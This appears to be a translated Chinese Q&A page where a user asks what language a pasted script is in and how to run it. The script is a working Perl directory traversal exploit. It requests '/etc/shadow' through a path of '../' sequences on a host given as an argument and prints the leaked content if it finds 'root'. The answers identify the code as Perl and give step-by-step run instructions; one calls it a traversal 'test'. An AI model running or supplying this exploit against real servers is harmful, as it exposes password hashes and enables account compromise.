这是什么类型的代码？

Question

我这里有代码，但我不知道它是用什么语言编写的，以及如何运行它。

use LWP::UserAgent;
$host = $ARGV[0];
chomp($host);
if($host !~ /http:\/\//) { $host = "http://$host"; };

my $ua = LWP::UserAgent->new;
$ua->timeout(30);
$lfi = "/help/../../../../../../../../etc/shadow";
$url = $host.$lfi;
$request = HTTP::Request->new('GET', $url); $response =
$ua->request($request); my $html = $response->content; if($html =~ /root/) {
print "root$' \n" ; }

Answer 1

对我来说就像Perl。你试过吗

perl thefile?

Answer 2

确定的Perl。这是一个简单的脚本来“测试”网络服务器以防止目录遍历攻击： https://en.wikipedia.org/wiki/Directory_traversal_attack

Answer 3

它看起来像Perl。

在顶部添加一行sais：

#!/usr/bin/perl -w

和chmod +x它，然后你可以像任何程序一样运行它。

编辑：如果你在Windows上，你会想要http://strawberryperl.com/